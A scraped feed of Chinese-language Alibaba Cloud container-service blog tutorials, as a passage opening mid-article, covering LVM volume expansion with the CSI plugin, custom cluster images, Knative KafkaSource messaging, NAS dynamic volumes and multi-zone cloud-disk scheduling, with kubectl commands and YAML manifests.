        • 三者在监控排障中的所占比例却大不一样:Metrics占据大头,Tracing次之,Logging最后
        • Tracing含有重要的应用之间的依赖信息,Metrics有更多的可深度分析和挖掘的空间,所以未来必然是在Metrics上大做文章,再结合Tracing中的应用依赖来做更深度全局分析,即Metrics和Tracing两者结合发挥出更多的可能性

        参考链接:
        CAT:https://github.com/dianping/cat
        深度剖析开源分布式监控CAT:https://tech.meituan.com/2018/11/01/cat-in-depth-java-application-monitoring.html

        作者信息:李刚,网名乒乓狂魔,饿了么监控组研发专家,饿了么内部时序数据库LinDB项目负责人,目前致力于监控的智能分析领域。

        ]]>
        使用阿里云CSI Plugin实现LVM数据卷动态扩容 Fri, 02 May 2025 09:39:04 +0800 概要

        LVM存储类型为本地存储,并非可随着Pod迁移的可插拔的分布式存储方案,如果Pod期望在多个节点上使用相同的lvm卷,则需要在每个节点上都创建相同名字的lvm卷,这样Pod调度的时候可以继续使用相同的lvm卷名进行挂载。然而这样势必会造成有些节点上的lvm卷空间浪费,解决浪费的问题,可以通过将pod固定在某个节点运行,减少调度,这样只会在这个节点上创建需要的lvm卷。

        阿里云容器服务CSI插件支持LVM数据卷的挂载、管理功能,可以动态创建LVM卷并挂载使用。且在最新的版本中可以通过修改pvc的大小,动态扩容lvm卷的大小,在重启应用Pod时进行文件系统扩容。

        LVM实现原则:

        Provision Lvm数据卷的过程中,只会创建lvm类型pv对象,不会真正在节点上创建lvm volume;

        创建lvm卷需要在已有的vg基础上进行,即需要手动在集群中创建vg;

        Pod启动的时候,检查本地是否有相应的LVM卷,如果没有这个卷,则会创建lvm卷并挂载;

        如果Pod启动时,lvm卷已经存在,则检查卷大小和需求是否一致,实际卷小于pv需求时,进行lvm扩容;

        目前没有实现删除lvm卷的功能,需要手动到节点删除;

        部署CSI LVM插件

        1. 创建K8S集群

        在阿里云ACK控制台创建1.14版本k8s集群,创建集群时选择使用csi类型插件;

        2. 调整集群参数,使支持CSI扩容

        更新kube-controller参数,在/etc/kubernetes/manifests/kube-controller-manager.yaml中添加:

        - --feature-gates=ExpandCSIVolumes=true
        

        在所有负载节点更新kubelet参数,在/etc/systemd/system/kubelet.service.d/10-kubeadm.conf 添加:

        --feature-gates=ExpandCSIVolumes=true
        

        重启kubelet:

        systemctl daemon-reload
        service kubelet restart
        

        3. 部署CSI LVM插件

        下载LVM Plugin、Provisioner模板:

        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/deploy/lvm/lvm-plugin.yaml
        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/deploy/lvm/lvm-provisioner.yaml
        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/deploy/lvm/resizer/csi-resizer.yaml

        创建CSI组件:

        # kubectl create -f lvm-plugin.yaml
        # kubectl create -f lvm-provisioner.yaml
        # kubectl create -f csi-resizer.yaml

        检查插件部署完成:

        # kubectl get pod -nkube-system | grep lvm
        csi-lvm-plugin-6kx6z                                  2/2     Running   0          16h
        csi-lvm-plugin-cgd7j                                  2/2     Running   0          16h
        csi-lvm-plugin-kg5pn                                  2/2     Running   0          16h
        csi-lvm-plugin-ld7rz                                  2/2     Running   0          16h
        csi-lvm-plugin-xjmmr                                  2/2     Running   0          16h
        csi-lvm-provisioner-0                                 1/1     Running   1          16h
        csi-lvm-resizer-0                                     1/1     Running   0          16h
        
        # kubectl get csidriver | grep lvm
        lvmplugin.csi.alibabacloud.com    2019-10-09T07:51:14Z

        部署应用使用LVM卷

        1. 创建StorageClass:

        下载StorageClass模板:

        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/examples/lvm/resizer/storageclass.yaml

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
           name: csi-lvm
        provisioner: lvmplugin.csi.alibabacloud.com
        parameters:
            vgName: vgtest
        reclaimPolicy: Delete
        allowVolumeExpansion: true

        provisioner: 配置为lvmplugin.csi.alibabacloud.com 驱动;

        parameters:定义生成lvm卷参数;vgName定义lvm数据卷依赖的vg名字,vg需要预先在集群中创建;

        allowVolumeExpansion:配置为true时,允许数据卷实现扩容功能;

        # kubectl get sc | grep lvm
        csi-lvm                    lvmplugin.csi.alibabacloud.com    19h

        2. 创建PVC

        下载PVC模板:

        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/examples/lvm/pvc.yaml

        # kubectl create -f pvc.yaml
        
        # kubectl get pvc
        NAME      STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
        lvm-pvc   Bound    lvm-7726e77b-eb2b-11e9-a442-00163e07fb69   2Gi        RWO            csi-lvm        3s
        
        # kubectl get pv
        NAME                                       CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM             STORAGECLASS   REASON   AGE
        lvm-7726e77b-eb2b-11e9-a442-00163e07fb69   2Gi        RWO            Delete           Bound    default/lvm-pvc   csi-lvm                 14s

        3. 创建应用

        下载应用模板:

        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/examples/lvm/deploy.yaml

        可以在模板中添加nodeSelector(nodeName)来限制pod启动的节点;

        # kubectl create -f deploy.yaml
        
        # kubectl get pod
        NAME                             READY   STATUS    RESTARTS   AGE
        deployment-lvm-cddcd84fb-5rkrj   1/1     Running   0          12s
        
        // Pod内部挂载的lvm卷大小为2G;
        # kubectl exec deployment-lvm-cddcd84fb-5rkrj df | grep data
        /dev/mapper/vgtest-lvm--7726e77b--eb2b--11e9--a442--00163e07fb69   1998672    6144   1871288   1% /data

        到pod所在节点检查lvm卷信息,大小为2G:

        # lvdisplay /dev/vgtest/lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          --- Logical volume ---
          LV Path                /dev/vgtest/lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          LV Name                lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          VG Name                vgtest
          LV UUID                hKsRqO-oG1w-0uE1-6Unz-hpP9-le4N-pGVzDS
          LV Write Access        read/write
          LV Creation host, time iZ8vb1wy4teeoa0ql4bjq3Z, 2019-10-10 14:59:23 +0800
          LV Status              available
          # open                 1
          LV Size                2.00 GiB
          Current LE             512
          Segments               1
          Allocation             inherit
          Read ahead sectors     auto
          - currently set to     256
          Block device           252:3

        原理:Pod启动时在其运行的节点上,自动创建lvm数据卷(vg下面)并挂载使用;

        4. lvm卷扩容

        扩容PVC,从2G变成3G,扩容后PV已经变成了3G,但pvc需要pod重启后(文件系统扩容)才可以变成3G;

        // expand pvc from 2G to 3G
        # kubectl patch pvc lvm-pvc -p '{"spec":{"resources":{"requests":{"storage":"3Gi"}}}}'
        persistentvolumeclaim/lvm-pvc patched
        
        # kubectl get pvc
        NAME      STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
        lvm-pvc   Bound    lvm-7726e77b-eb2b-11e9-a442-00163e07fb69   2Gi        RWO            csi-lvm        9m33s
        
        # kubectl get pv
        NAME                                       CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS   CLAIM             STORAGECLASS   REASON   AGE
        lvm-7726e77b-eb2b-11e9-a442-00163e07fb69   3Gi        RWO            Delete           Bound    default/lvm-pvc   csi-lvm                 9m34s

        原理:此时lvm数据卷并没有变化,只是pv对象的size变化;lvm卷大小和文件系统大小都是在pod启动挂载卷的时候执行扩容的。

        重启Pod,实现lvm卷扩容:

        # kubectl delete pod deployment-lvm-cddcd84fb-5rkrj
        
        # kubectl get pvc
        NAME      STATUS   VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
        lvm-pvc   Bound    lvm-7726e77b-eb2b-11e9-a442-00163e07fb69   3Gi        RWO            csi-lvm        5m24s
        
        // Pod内部挂载的lvm卷也已经扩容到3G;
        # kubectl exec deployment-lvm-cddcd84fb-dsmxx df | grep data
        /dev/mapper/vgtest-lvm--7726e77b--eb2b--11e9--a442--00163e07fb69   3030800    6144   2861476   1% /data

        登陆pod所在节点,查看lvm卷信息:

        # lvdisplay /dev/vgtest/lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          --- Logical volume ---
          LV Path                /dev/vgtest/lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          LV Name                lvm-7726e77b-eb2b-11e9-a442-00163e07fb69
          VG Name                vgtest
          LV UUID                hKsRqO-oG1w-0uE1-6Unz-hpP9-le4N-pGVzDS
          LV Write Access        read/write
          LV Creation host, time iZ8vb1wy4teeoa0ql4bjq3Z, 2019-10-10 14:59:23 +0800
          LV Status              available
          # open                 1
          LV Size                3.00 GiB
          Current LE             768
          Segments               1
          Allocation             inherit
          Read ahead sectors     auto
          - currently set to     256
          Block device           252:3

        更多使用细节请参考:
        https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/v1.14/docs/lvm-resizer.md

        欢迎加入CSI技术交流钉钉群:
        image

        ]]>
        如何使用“自定义镜像”创建容器服务Kubernetes集群 Fri, 02 May 2025 09:39:04 +0800 背景

        在使用容器服务创建Kubernetes集群的时候,默认是没有用户选择镜像的地方的,只能是系统镜像。但是对于一些客户而言,出于运维管理的需要,都希望可以安装一些特点的软件包。虽然说,目前也有比较绕的方案去解决类似的问题,例如在集群部署好以后,通过云助手等工具来协助完成软件包的安装,但是这种方式却不是最佳的解决方案。

        那么究竟什么样的方案是最佳的方案呢,那就是自定义镜像的方式。下面主要来介绍容器服务Kubernetes集群对于自定义镜像的约束以及如何制作和使用自定义镜像。

        准备工作

        在我们确定要使用自定义镜像之前,我们首先需要了解容器服务对于自定义镜像的一些要求。主要如下:

        • 首先基础镜像推荐使用容器服务使用的最新的基础镜像,因为该镜像不仅可以满足部署Kubernetes集群的需求,同时也是经过容器服务团队严格测试的镜像。自定义镜像需要满足如下几点:

          • 镜像需要满足阿里云cloud-init的要求,具体可以参考
          • 镜像需要开启sshd server,且使用默认端口22
          • NTP时间同步使用阿里云NTP Server
        • 推荐使用packer类似的工具去制作自定义镜像,具体可以参考
        • 在容器服务控制台提交工单申请使用自定义镜像

        使用自定义镜像

        创建集群的过程中,选择高级选项,如下图
        image

        点击“选择”,会弹出自定义镜像的列表,选择要使用的镜像即可
        image

        待集群创建完成后,该集群就是使用了自定义镜像,后续的扩容等均会使用该镜像。

        自定义镜像对于运维有很大的帮助,但是在制作自定义镜像过程中需要切记一定要基础阿里云的基础镜像去制作。

        ]]>
        Knative 实战:基于阿里云 Kafka 实现消息推送 Fri, 02 May 2025 09:39:04 +0800 在 Knative 中已经提供了对 Kafka 事件源的支持,那么如何在阿里云上基于 Kafka 实现消息推送,本文给大家解锁这一新的姿势。

        背景

        消息队列 for Apache Kafka 是阿里云提供的分布式、高吞吐、可扩展的消息队列服务。消息队列 for Apache Kafka 广泛用于日志收集、监控数据聚合、流式数据处理、在线和离线分析等大数据领域,已成为大数据生态中不可或缺的部分。
        另外 Knative 中提供了KafkaSource事件源的支持,通过这个事件源可以方便的对接 Kafka 消息服务。

        在阿里云上创建 Kafka 实例

        创建 Kafka 实例

        登录消息队列Kafka控制台, 选择【购买实例】。由于当前Knative中Kafka事件源支持2.0.0及以上版本,在阿里云上创建 Kafka 实例需要选择包年包月、专业版本进行购买,购买之后升级到 2.0.0 即可。
        image

        部署实例并绑定 VPC

        购买完成之后,进行部署,部署时设置 Knative 集群所在的 VPC 即可:
        image

        创建 Topic 和 Consumer Group

        接下来我们创建 Topic 和消费组。
        进入【Topic 管理】,点击创建Topic, 这里我们创建名称为demo的topic:
        image

        进入【Consumer Group 管理】,点击创建 Consumer Group, 这里我们创建名称为demo-consumer的消费组:
        image

        部署 Kafka 数据源

        部署 Kafka addon 组件

        登录容器服务控制台,进入【Knative 组件管理】,部署 Kafka addon 组件。
        image

        创建 KafkaSource 实例

        首先创建用于接收事件的服务 event-display:

        apiVersion: serving.knative.dev/v1
        kind: Service
        metadata:
          name: event-display
        spec:
          template:
            spec:
              containers:
              - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/eventing-sources-cmd-event_display:bf45b3eb1e7fc4cb63d6a5a6416cf696295484a7662e0cf9ccdf5c080542c21d

        接下来创建KafkaSource

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: KafkaSource
        metadata:
          name: alikafka-source
        spec:
          consumerGroup: demo-consumer
          # Broker URL. Replace this with the URLs for your kafka cluster,
          # which is in the format of my-cluster-kafka-bootstrap.my-kafka-namespace:9092.
          bootstrapServers: 192.168.0.6x:9092,192.168.0.7x:9092,192.168.0.8x:9092
          topics: demo
          sink:
            apiVersion: serving.knative.dev/v1alpha1
            kind: Service
            name: event-display

        说明:

        • bootstrapServers: Kafka VPC访问地址
        • consumerGroup: 设置消费组
        • topics:设置Topic

        创建完成之后,我们可以查看对应的实例已经运行:

        [root@iZ2zeae8wzyq0ypgjowzq2Z ~]# kubectl get pods
        NAME                                    READY   STATUS    RESTARTS   AGE
        alikafka-source-k22vz-db44cc7f8-879pj   1/1     Running   0          8h

        验证

        在Kafka 控制台,选择 topic 发送消息,注意这里的消息格式必须是 json:
        image

        我们可以看到已经接收到了发送过来的 Kafka 消息:

        [root@iZ2zeae8wzyq0ypgjowzq2Z ~]# kubectl logs event-display-zl6m5-deployment-6bf9596b4f-8psx4 user-container
        
        ️  CloudEvent: valid 
        Context Attributes,
          SpecVersion: 0.2
          Type: dev.knative.kafka.event
          Source: /apis/v1/namespaces/default/kafkasources/alikafka-source#demo
          ID: partition:7/offset:1
          Time: 2019-10-18T08:50:32.492Z
          ContentType: application/json
          Extensions: 
            key: demo
        Transport Context,
          URI: /
          Host: event-display.default.svc.cluster.local
          Method: POST
        Data,
          {
            "key": "test"
          }
        ]]>
        阿里云Kubernetes CSI实践—NAS动态存储卷使用 Fri, 02 May 2025 09:39:04 +0800 1. 前言

        NAS存储盘能将nfs(网络文件系统)挂载到你的Pod中,阿里云Kubernetes CSI支持静态存储卷挂载动态存储卷挂载2种方式, 在静态存储卷挂载的方式中,通常需要手动编辑和创建一个pv/pvc进行挂载,当需要的pv/pvc数量很大的时候,手动创建就显得非常繁琐了,这时动态存储卷挂载的功能可以满足您的需求。本文演示如何使用NAS动态存储卷。

        2. 部署csi-nas-plugin

        如何你的Kubernetes集群中还没有部署, 请参考以下步骤进行部署:

        2.1 部署csi-provisioner

        $ kubectl create -f https://raw.githubusercontent.com/kubernetes-sigs/alibaba-cloud-csi-driver/master/deploy/nas/nas-provisioner.yaml

        2.2 部署csi-nasplugin

        $ kubectl create -f https://raw.githubusercontent.com/kubernetes-sigs/alibaba-cloud-csi-driver/master/deploy/nas/nas-plugin.yaml

        2.3 检查运行状态

        $ kubectl -nkube-system get po -o wide |grep csi
        csi-nasplugin-7mbmx                                2/2     Running   0
        csi-nasplugin-89t9v                                2/2     Running   0
        csi-nasplugin-8fw5p                                2/2     Running   0
        csi-nasplugin-grbqn                                2/2     Running   0
        csi-nasplugin-ks8mw                                2/2     Running   0
        csi-nasplugin-pp5g7                                2/2     Running   0
        csi-provisioner-0                                  2/2     Running   0

        3. 使用NAS动态存储卷

        目前阿里云Kubernetes CSI支持2种类型的NAS动态存储卷挂载:subpath方式和filesystem方式。

        3.1 subpath类型的NAS动态存储卷使用

        3.1.1 使用场景

        当你的多个Kubernetes应用或者Pod需要挂载相同的NAS存储卷共享数据时,或不同的Pod挂载相同NAS文件系统的不同子目录时, 可以使用subpath类型的NAS动态存储卷方式。

        3.1.2 创建NAS文件系统和挂载点

        subpath的方式要求用户首先使用NAS控制台SDK/API 创建好NAS文件系统和挂载点。
        文件系统:
        image
        挂载点:
        image

        3.1.3 创建StoragClass

        编辑storageclass.yaml文件, 详细参数说明见:https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/master/docs/nas-dynamic.md

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
          name: alicloud-nas-subpath
        mountOptions:
        - nolock,tcp,noresvport
        - vers=3
        parameters:
          volumeAs: subpath
          server: "xxxxxxx.cn-hangzhou.nas.aliyuncs.com:/k8s/"
        provisioner: nasplugin.csi.alibabacloud.com
        reclaimPolicy: Retain

        运行以下命令创建StorageClass alicloud-nas-subpath

        $ kubectl create -f storageclass.yaml
        3.1.4 创建PV/PVC和Pod挂载NAS存储卷

        创建Pod nginx-1 nginx-2共享NAS存储卷的同一个子目录, pvc.yaml nginx-1.yamlnginx-2.yaml文件内容如下:
        pvc.yaml

        kind: PersistentVolumeClaim
        apiVersion: v1
        metadata:
          name: nas-csi-pvc
        spec:
          accessModes:
            - ReadWriteMany
          storageClassName: alicloud-nas-subpath
          resources:
            requests:
              storage: 20Gi

        nginx-1.yaml:

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: deployment-nas-1
          labels:
            app: nginx-1
        spec:
          selector:
            matchLabels:
              app: nginx-1
          template:
            metadata:
              labels:
                app: nginx-1
            spec:
              containers:
              - name: nginx
                image: nginx:1.7.9
                ports:
                - containerPort: 80
                volumeMounts:
                  - name: nas-pvc
                    mountPath: "/data"
              volumes:
                - name: nas-pvc
                  persistentVolumeClaim:
                    claimName: nas-csi-pvc

        nginx-2.yaml

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: deployment-nas-2
          labels:
            app: nginx-2
        spec:
          selector:
            matchLabels:
              app: nginx-2
          template:
            metadata:
              labels:
                app: nginx-2
            spec:
              containers:
              - name: nginx
                image: nginx:1.7.9
                ports:
                - containerPort: 80
                volumeMounts:
                  - name: nas-pvc
                    mountPath: "/data"
              volumes:
                - name: nas-pvc
                  persistentVolumeClaim:
                    claimName: nas-csi-pvc

        创建pvc和deployment:

        $ kubectl create -f pvc.yaml -f nginx-1.yaml -f nginx-2.yaml
        
        $ kubectl get po
        NAME                                READY   STATUS    RESTARTS   AGE
        deployment-nas-1-5b5cdb85f6-nhklx   1/1     Running   0          32s
        deployment-nas-2-c5bb4746c-4jw5l    1/1     Running   0          32s

        在这种情况下, NAS存储卷的xxxxxxx.cn-hangzhou.nas.aliyuncs.com:/share/nas-79438493-f3e0-11e9-bbe5-00163e09c2be 会同时挂载到deployment-nas-1-5b5cdb85f6-nhklxdeployment-nas-2-c5bb4746c-4jw5l/data目录下。 注意: "/share" 为StorageClass中指定的subpath,"nas-79438493-f3e0-11e9-bbe5-00163e09c2be"为pv的name

        如果你需要为不同的Pod挂载同一个NAS文件系统的不同子目录, 则需要分别创建pvc-1和nginx-1以及pvc-2和nginx-2。

        3.2 filesystem类型的NAS动态存储卷使用

        注意: filesystem类型的NAS动态卷在删除时默认保留文件系统和挂载点, 若需要在释放pv资源的同时释放NAS文件系统和挂载点, 则需要同时设置StorageClass中的reclaimPolicy为Delete且deleteVolume的值为"true"

        3.2.1 使用场景

        3.1中的subpath方式中,你需要首先手动创建NAS文件系统和挂载点。 当你的Kubernetes应用需要动态创建和删除NAS文件系统和挂载点时, 可以使用filesystem类型。 注意:使用filesystem类型NAS存储卷的Pod只能创建一个文件系统和一个挂载点, 多个Pod之间无法共享一个存储卷

        3.2.2 创建StorageClass

        编辑storageclass.yaml文件, 详细参数说明见:https://github.com/kubernetes-sigs/alibaba-cloud-csi-driver/blob/master/docs/nas-dynamic.md

        apiVersion: storage.k8s.io/v1
        kind: StorageClass
        metadata:
          name: alicloud-nas-fs
        mountOptions:
        - nolock,tcp,noresvport
        - vers=3
        parameters:
          volumeAs: filesystem
          vpcId: "vpc-xxxxxxxxxxxx"
          vSwitchId: "vsw-xxxxxxxxx"
          deleteVolume: "false"
        provisioner: nasplugin.csi.alibabacloud.com
        reclaimPolicy: Retain

        运行以下命令创建StorageClass alicloud-nas-subpath

        $ kubectl create -f storageclass.yaml
        3.2.3 创建PV/PVC和Pod挂载NAS存储卷

        pvc.yaml nginx.yaml文件内容如下:
        pvc.yaml

        kind: PersistentVolumeClaim
        apiVersion: v1
        metadata:
          name: nas-csi-pvc-fs
        spec:
          accessModes:
            - ReadWriteMany
          storageClassName: alicloud-nas-fs
          resources:
            requests:
              storage: 20Gi

        nginx.yaml

        apiVersion: apps/v1
        kind: Deployment
        metadata:
          name: deployment-nas-fs
          labels:
            app: nginx
        spec:
          selector:
            matchLabels:
              app: nginx
          template:
            metadata:
              labels:
                app: nginx
            spec:
              containers:
              - name: nginx
                image: nginx:1.7.9
                ports:
                - containerPort: 80
                volumeMounts:
                  - name: nas-pvc
                    mountPath: "/data"
              volumes:
                - name: nas-pvc
                  persistentVolumeClaim:
                    claimName: nas-csi-pvc-fs

        创建pvc和deployment:

        $ kubectl create -f pvc.yaml -f nginx.yaml

        在这种场景下, csi会在pvc创建时动态新建NAS文件系统和挂载点, pvc删除时动态删除挂载点和文件系统。

        4. 其他

        更多示例请参考: kubernetes-sigs/alibaba-cloud-csi-driver/examples/nas/dynamic

        ]]>
        使用阿里云CSI Plugin在多可用区集群中实现应用高可用部署 Fri, 02 May 2025 09:39:04 +0800 本文介绍了在多可用区Kubernetes集群中挂载云盘的实现方案,核心原理为:

        通过StorageClass中的volumeBindingMode参数配置给出两种挂载云盘的方案:”Pod跟着云盘走“、”云盘跟着Pod走“;

        volumeBindingMode配置参考:卷绑定模式说明

        多可用区集群

        部署集群的时候使用多可用区方案来保证集群的高可用已得到大家的共识,这样集群在某个可用区出现异常时仍然可以保持集群对外提供正常服务,阿里云ACK服务提供了多可用区集群部署方案,可参考使用文档

        容器存储卷为用户数据持久化提供了实现方案,通过将外置存储挂载到容器内部的方式为应用提供存储空间,在容器被销毁后存储卷中的数据依然可以继续被其他的应用使用。常用的存储卷类型有块存储、文件存储、对象存储,其对可用区的敏感性如下:

        块存储:如阿里云云盘;ECS和云盘需要在同一个可用区内联合使用;

        文件存储:如阿里云NAS、CPFS服务;ECS和NAS可以跨可用区挂载,但要求在相同VPC内;

        对象存储:如阿里云OSS;ECS和OSS可以跨可用区、跨Region挂载;

        可见,只有云盘存储卷对可用区有强制要求,需要在集群内部根据数据卷可用区调度Pod,PV(云盘)的可用区和Pod被调度的可用区必须一致才可以挂载成功。k8s实现了针对数据卷的调度器,会根据Pod使用的PV信息把Pod调度到合适的可用区;

        下面针对阿里云云盘讲述一下如何在多可用环境实现块存储数据卷的可用区调度。

        云盘多可用区使用方案

        使用StatefulSet在多可用区集群挂载云盘

        关于应用负载,Pod中挂载云盘数据卷的场景有如下特点:

        云盘作为块存储只能挂载到相同可用区的节点上,且云盘不是共享存储,只能被一个Pod挂载使用;

        常用的应用编排模板中:Deployment和Daemonset都是具有相同Pod配置的多个副本模式,如果Pod挂载数据卷,则所有Pod的数据卷需要是一样的,而云盘只能挂载到一个Pod的限制,所以Deployment、DaemonSet不适合挂载云盘数据卷。

        Statefulset类型应用提供了两种配置Volume的方式,一种和Deployment一样直接通过volumes定义persistentVolumeClaim,这种方式只能为StatefulSet应用配置一个特定的PVC(云盘),不能用在多副本场景中;

        另一种是通过volumeClaimTemplates配置,这个方式为每个Pod配置一个具有一定规则名字的PVC,不通的PVC对应不同的云盘卷。这样的配置可以启动多个副本,且每个副本都挂载了独立的云盘。

        即:在应用使用云盘的场景中,需要使用StatefulSet进行编排,并使用volumeClaimTemplates配置挂载云盘。多可用区场景亦是如此。

        通过volumeClaimTemplates为每个Pod配置的PVC名字规则:

        PVC的名字 = {volumeClaimTemplates名字} + "-" + {StatefulSet名字} + "-" + 序号
        

        例如如下配置的StatefulSet:

        apiVersion: apps/v1beta2
        kind: StatefulSet
        metadata:
          name: web
        spec:
          replicas: 3
        ***
          volumeClaimTemplates:
          - metadata:
              name: disk-ssd
            spec:
        ***

        为3个Pod分别创建配置的pvc名字为:disk-ssd-web-0、disk-ssd-web-1、disk-ssd-web-2;

        多可用区集群挂载云盘方案

        没有挂载云盘数据卷的情况下,pod启动过程为:

        Pod创建好后进入调度流程;

        检查Pod引用的pvc,如果pvc处于unbound状态,等待pvc变成bound;如果pvc处于bound状态,继续调度;

        根据nodeSelector、Node状态等配置选择最合适的目标节点;

        在目标节点启动Pod;

        考虑挂载云盘卷调度方案1:

        Pod创建好后进入调度流程;

        检查Pod引用的pvc,如果pvc处于unbound状态,等待pvc变成bound;如果pvc处于bound状态,继续调度;

        根据PV中的调度信息选择满足条件的目标节点集合;

        根据nodeSelector、Node状态等配置选择满足条件的目标节点;

        在目标节点启动Pod;

        考虑挂载云盘卷调度方案2:

        Pod创建好后进入调度流程;

        检查Pod引用的pvc,如果pvc处于unbound状态;

        根据nodeSelector、Node状态等配置选择满足条件的目标节点;

        根据目标节点的可用区信息,动态创建云盘(PV),这时PV的可用区和目标启动节点相同;

        在目标节点启动Pod;

        上面两种挂载云盘数据卷方案中:

        方案1:先确定了PV(云盘)可用区信息,并将云盘可用区信息作为Pod调度的一个参量,即Pod随着云盘走

        方案2:先确定了Pod运行的目标节点,再动态创建PV(云盘)并绑定,即云盘跟着Pod走

        Pod跟着云盘走:

        此方案的关键点是:Pod调度前确定创建好PV,并确定PV的可用区信息。在静态存储卷或动态存储卷中都可以实现此方案。

        部署前需要规划好应用期望运行的可用区,并手动(静态卷)/自动(动态卷)创建好云盘、PV对象;如果一个应用期望运行在多个可用区,则需要在多个可用区申请云盘并创建多个PV。每个PV对象中需要添加相应的可用区调度信息。

        调度信息可以通过在PV的Label中添加如下配置(由VolumeZonePredicate调度器进行调度):

          labels:
            failure-domain.beta.kubernetes.io/zone: cn-hangzhou-b
            failure-domain.beta.kubernetes.io/region: cn-hangzhou

        调度信息也可以通过在PV的nodeAffinity中添加如下配置(由VolumeBindingPredicate调度器进行调度):

          nodeAffinity:
            required:
              nodeSelectorTerms:
              - matchExpressions:
                - key: topology.diskplugin.csi.alibabacloud.com/zone
                  operator: In
                  values:
                  - cn-shenzhen-a

        下面示例是在一个包含三可用区节点的集群进行:

        # kubectl describe node | grep failure-domain.beta.kubernetes.io/zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-b
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-c

        静态数据卷

        静态存储卷指PV对象、云盘实例需要管理员手动创建,并将可用区等信息配置到数据卷中。在使用静态存储卷前需要先创建好云盘、pv。

        本示例在StatefulSet应用中启动三个Pod,每个pod挂载一个云盘数据卷,且分别运行在cn-beijing-a、cn-beijing-b、cn-beijing-c三个可用区;期望:StatefulSet名字为 web,volumeClaimTemplates名字为disk-ssd;

        分别按照下面模板创建pvc、pv:

        apiVersion: v1
        kind: PersistentVolumeClaim
        metadata:
          name: disk-ssd-web-0
        spec:
          accessModes:
          - ReadWriteOnce
          resources:
            requests:
              storage: 25Gi
          selector:
            matchLabels:
              alicloud-pvname: pv-disk-ssd-web-0
        ---
        apiVersion: v1
        kind: PersistentVolume
        metadata:
          name: pv-disk-ssd-web-0
          labels:
            alicloud-pvname: pv-disk-ssd-web-0
        spec:
          capacity:
            storage: 25Gi
          accessModes:
            - ReadWriteOnce
          persistentVolumeReclaimPolicy: Retain
          csi:
            driver: diskplugin.csi.alibabacloud.com
            volumeHandle: d-2zeeujx1zexxkbc8ny4b 
          nodeAffinity:
            required:
              nodeSelectorTerms:
              - matchExpressions:
                - key: topology.diskplugin.csi.alibabacloud.com/zone
                  operator: In
                  values:
                  - cn-beijing-a

        其中pvc、pv、可用区、云盘ID对应关系:

        disk-ssd-web-0 ==> pv-disk-ssd-web-0 ==> cn-beijing-a ==> d-2zeeujx1zexxkbc8ny4b

        disk-ssd-web-1 ==> pv-disk-ssd-web-1 ==> cn-beijing-b ==> d-2ze4n7co1x8w8xs95sqk

        disk-ssd-web-2 ==> pv-disk-ssd-web-2 ==> cn-beijing-c ==> d-2zeaed32ln6d8sbpichh

        # kubectl get pvc | grep disk-ssd-web
        disk-ssd-web-0   Bound    pv-disk-ssd-web-0                           25Gi       RWO                                59s
        disk-ssd-web-1   Bound    pv-disk-ssd-web-1                           25Gi       RWO                                56s
        disk-ssd-web-2   Bound    pv-disk-ssd-web-2                           25Gi       RWO                                54s
        
        # kubectl get pv | grep disk-ssd-web
        pv-disk-ssd-web-0                           25Gi       RWO            Retain           Bound    default/disk-ssd-web-0                                2m43s
        pv-disk-ssd-web-1                           25Gi       RWO            Retain           Bound    default/disk-ssd-web-1                                2m40s
        pv-disk-ssd-web-2                           25Gi       RWO            Retain           Bound    default/disk-ssd-web-2                                2m38s

        部署下面StatefulSet模板:

        apiVersion: v1
        kind: Service
        metadata:
          name: nginx
          labels:
            app: nginx
        spec:
          ports:
          - port: 80
            name: web
          clusterIP: None
          selector:
            app: nginx
        ---
        apiVersion: apps/v1beta2
        kind: StatefulSet
        metadata:
          name: web
        spec:
          selector:
            matchLabels:
              app: nginx
          serviceName: "nginx"
          replicas: 3
          template:
            metadata:
              labels:
                app: nginx
            spec:
              containers:
              - name: nginx
                image: nginx
                ports:
                - containerPort: 80
                  name: web
                volumeMounts:
                - name: disk-ssd
                  mountPath: /data
          volumeClaimTemplates:
          - metadata:
              name: disk-ssd
            spec:
              accessModes: [ "ReadWriteOnce" ]
              storageClassName: csi-disk-topology
              resources:
                requests:
                  storage: 20Gi

        执行下面命令获取Pod信息,上述模板启动的三个Pod分别运行在a、b、c三个可用区:

        # kubectl get pod
        NAME    READY   STATUS    RESTARTS   AGE
        web-0   1/1     Running   0          14m
        web-1   1/1     Running   0          13m
        web-2   1/1     Running   0          13m
        
        # kubectl describe pod | grep Node
        Node:               cn-beijing.172.16.1.101/172.16.1.101
        Node:               cn-beijing.172.16.2.87/172.16.2.87
        Node:               cn-beijing.172.16.3.197/172.16.3.197
        
        # kubectl describe node cn-beijing.172.16.1.101 | grep zone
                            failure-domain.beta.kubernetes.io/zone=cn-beijing-a
